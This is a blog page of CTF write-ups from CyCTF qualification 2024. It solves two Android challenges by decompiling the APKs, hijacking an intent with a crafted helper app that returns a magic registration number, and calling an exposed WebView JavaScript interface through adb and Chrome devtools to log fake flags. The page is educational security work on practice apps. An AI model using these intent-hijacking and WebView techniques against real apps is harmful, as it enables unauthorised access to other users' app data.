0xk4k45h1
Active Directory
Domain Enumeration
Kerberoast
Kerberos Delegation
LLMNR poisoning
SMB relay
CTF
0xL4ugh 2024
Arab Cyber War Games Qualifications 2024
CyCTF qualification 2024
ICMTC Qualification 2024
IEEE Victoris 2024
PortSwigger
Wani CTF 2024
HackTheBox
Machines
Devvortex
Drive
Editorial
Intuition
PC
Visual
Sherlock
Mobile Pentesting
Android
Android Basics
Android Dynamic Analysis
Android Static Analysis
Home
Contact
Copyright © 2024 |
Yankos
Home
>
CTF
> CyCTF qualification 2024
Now Loading ...
CyCTF qualification 2024
Mobile: kage
solution We are given in this challenge 2 APKs the main challenge is the sealing version of the apk with the real flag and the second one is the fake version with the fake flag used for testing. The fake version contains a fake flag, but once u get the approach and get the flag you can use the same approach to get the real flag from the sealing app. I got the source code using Jadx. First thing i do usually is looking in AndroidMainfest.xml file. In this challenge the MainActivity is the interesting part and has all what we need to solve the challenge, Let’s look at it. package com.cyctf.kage; import android.content.Intent; import android.os.Bundle; import android.util.Log; import android.widget.ImageView; import android.widget.Toast; import androidx.appcompat.app.AppCompatActivity; /* loaded from: classes3.dex */ public class MainActivity extends AppCompatActivity { /* JADX INFO: Access modifiers changed from: protected */ @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); if (getIntent() != null && "Secret_Action".equals(getIntent().getAction())) { Intent intent = new Intent("Tsukuyomi"); try { Toast.makeText(this, "Be Careful, Something was sent to you", 1).show(); startActivityForResult(intent, 1337); return; } catch (Exception e) { e.printStackTrace(); Toast.makeText(this, "No App Can Handle My Shadow!!", 1).show(); return; } } Toast.makeText(this, "Invalid action!.", 1).show(); } @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity public void onActivityResult(int i, int i2, Intent intent) { super.onActivityResult(i, i2, intent); ImageView myImageView = (ImageView) findViewById(R.id.imageView); if (intent != null && getIntent() != null && getIntent().getBooleanExtra("Unlock", false) && intent.getIntExtra("RegistrationNumber", -1) == 5192) { myImageView.setImageResource(R.drawable.image); Toast.makeText(this, "Check Logs For Your Reward!!", 1).show(); Log.d("Jester", new String("Cyctf{Fake_Flag_don't_Submit}")); } } } We have onCreate function at which This activity is started by intent whose action is Secret_Action Then if the previous condition is true, a new intent is created whose action is Tsukuyomi and this new intent is used to send the start activity using startActivityForResult(intent, 1337) startActivityForResult(): can start activity and also expects a response from the activity it started, It receives this response through onActivityResult() Note: The response sent by us is sent through setResult(RESULT_OK,intent) We see in the code onActivityResult(int i, int i2, Intent intent) which accepts the response as we said and it sends the flag if the condition (intent != null && getIntent() != null && getIntent().getBooleanExtra("Unlock", false) && intent.getIntExtra("RegistrationNumber", -1) == 5192) is true This condition has intent which is the parameter to onActivityResult() function and it’s sent by us through setResult() function getIntent() which is first intent we used to start this application whose action is Secret_Action So our approach to solve the challenge will be Creating an application which will do the following sending an intent with action: Secret_Action (to trigger the condition in onCreate function) and extra bool data Unlock: true (to trigger the condition in onActivityResult) Intent intent = new Intent("Secret_Action"); intent.setClassName("com.cyctf.kage","com.cyctf.kage.MainActivity"); intent.putExtra("Unlock",true); startActivity(intent); The code above in the MainActivity of the app we created The target’s MainActivity starts and creates an intent whose action: Tsukuyomi and sends it using startActivityForResult(intent, 1337); We will receive it by having an application with intent filter to accept intent whose action: Tsukuyomi <activity android:name=".Hijack" android:exported="true"> <intent-filter> <action android:name="Tsukuyomi" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity> Above is the intent filter of the activity we used to receive the intent whose action: Tsukuyomi Note: hijack activity is another activity other than the MainActivity of our app Then after receiving this intent, create an intent with extra Int data RegistrationNumber: 5192 Send this intent using setResult function as response to the target ```java public class Hijack extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EdgeToEdge.enable(this); setContentView(R.layout.activity_hijack); ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> { Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars()); v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom); return insets; }); Intent resultIntent = new Intent(); resultIntent.putExtra("RegistrationNumber", 5192); setResult(RESULT_OK,resultIntent); finish(); } } ``` This intent will be received by the target through onActivityResult and will trigger the condition to log the flag Watch the logs after running the app. GG, I wish you enjoyed the write up
CTF
· 2024-11-03
Mobile: catch it
solution We are given in this challenge 2 APKs the main challenge is the sealing version of the apk with the real flag and the second one is the fake version with the fake flag used for testing. The fake version contains a fake flag, but once u get the approach and get the flag you can use the same approach to get the real flag from the sealing app. I got the source code using Jadx. First thing i do usually is looking in AndroidMainfest.xml file. We have many interesting information here like android:debuggable="true" & android:allowBackup="true" We have 2 activities MainActivity which is exported so we can access it using adb shell or by another app we create AnotherView which isn’t exported (can be accessed by activity within the same app only), It has the category browsable which will move us to think about deep links and webviews Let’s dig into these activities This is the code of MainActivity package com.cyctf.catchit; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; /* loaded from: classes3.dex */ public class MainActivity extends AppCompatActivity { /* JADX INFO: Access modifiers changed from: protected */ @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent reintent = getIntent(); Uri url = reintent.getData(); if (url != null) { if ("cyshield.com".equals(url.getHost())) { Intent intent = new Intent(); intent.putExtra("url", String.valueOf(url)); intent.setClass(this, AnotherView.class); startActivity(intent); return; } Intent intent2 = new Intent(this, (Class<?>) AnotherView.class); startActivity(intent2); return; } Intent intent3 = new Intent(this, (Class<?>) AnotherView.class); startActivity(intent3); } } When we analyze the code carefully we see that it sends an intent to start AnotherView activity, but the intent contains the Uri whose host is cyshield.com the intent will have an extra string with key: url and value: <output of String.valueOf(url) Let’s look at the source code of AnotheView activity package com.cyctf.catchit; import android.content.Intent; import android.os.Bundle; import android.util.Log; import android.webkit.JavascriptInterface; import android.webkit.WebChromeClient; import android.webkit.WebSettings; import android.webkit.WebView; import android.webkit.WebViewClient; import android.widget.Toast; import androidx.appcompat.app.AppCompatActivity; /* loaded from: classes3.dex */ public class AnotherView extends AppCompatActivity { private WebView webView; /* JADX INFO: Access modifiers changed from: protected */ @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_another_view); this.webView = (WebView) findViewById(R.id.webView); configureWebView(); Intent intent = getIntent(); String url = intent.getStringExtra("url"); if (url != null) { intent.getData(); this.webView.loadUrl(url); } else { this.webView.loadUrl("https://cyshield.com"); } } private void configureWebView() { WebSettings webSettings = this.webView.getSettings(); webSettings.setJavaScriptEnabled(true); webSettings.setSafeBrowsingEnabled(false); this.webView.setWebChromeClient(new WebChromeClient()); this.webView.setWebViewClient(new WebViewClient()); this.webView.addJavascriptInterface(new JavaScriptInterface(), "Jester"); } /* loaded from: classes3.dex */ public class JavaScriptInterface { public JavaScriptInterface() { } @JavascriptInterface public void showFlag() { Toast.makeText(AnotherView.this, "Check Logs For Your Reward!!", 1).show(); Log.d("Jester", new String("CyCtf{Fake_Flag_don't_Sumbit}")); } } } Here we have many interesting things We have a webview (basically you are able to navigate website within the application) The webview has interesting configurations in configureWebView() function setJavaScriptEnabled(true): This enables execution of JS codes which will move us to think of the attacks that involves JS like XSS, etc…. setSafeBrowsingEnabled(false): disables the safe browsing, so the app is object to loading malicious pages (maybe used in another solution but i didn’t use it in my solution actually) addJavascriptInterface(new JavaScriptInterface(), "Jester");: This is JSInterface creation which exposes Java object to JS execution, in this case we can access the class JavaScriptInterface() in Java using Jester object in JS We also have have JavaScriptInterface class whose functions now can be accessed using Jester. It contains showFlag() function, so if we can are able to execute JS code we can trigger this function using Jester.showFlag(), and this is our objective and we will get the flag in the logs. After searching in different sites and asking chatgpt also i found idea If i can load a url (whatever it is) and the debugging is enabled, so i can inspect it using chrome://inspect on my host and access the dev tools. After accessing the devtools i can run Jester.showFlag() in the console. This is out approach and let’s go to see the steps. First we need to access AnotherView activity, we can do this using the command .\adb.exe shell am start-activity -n com.cyctf.catchit/.MainActivity -d https://cyshield.com/ Which will access AnotherView activity and will load https://cyshield.com/. When we go to chrome://inspect on chrome on our host laptop we will see this Click inspect and you will get the devtools, go to console to execute Jester.showFlag() and make sure you are getting the logs using adb.exe logcat and you will get the flag in these logs. Thanks for Reading, I Wish this write up was useful for you.
CTF
· 2024-11-03
<
>
Touch background to close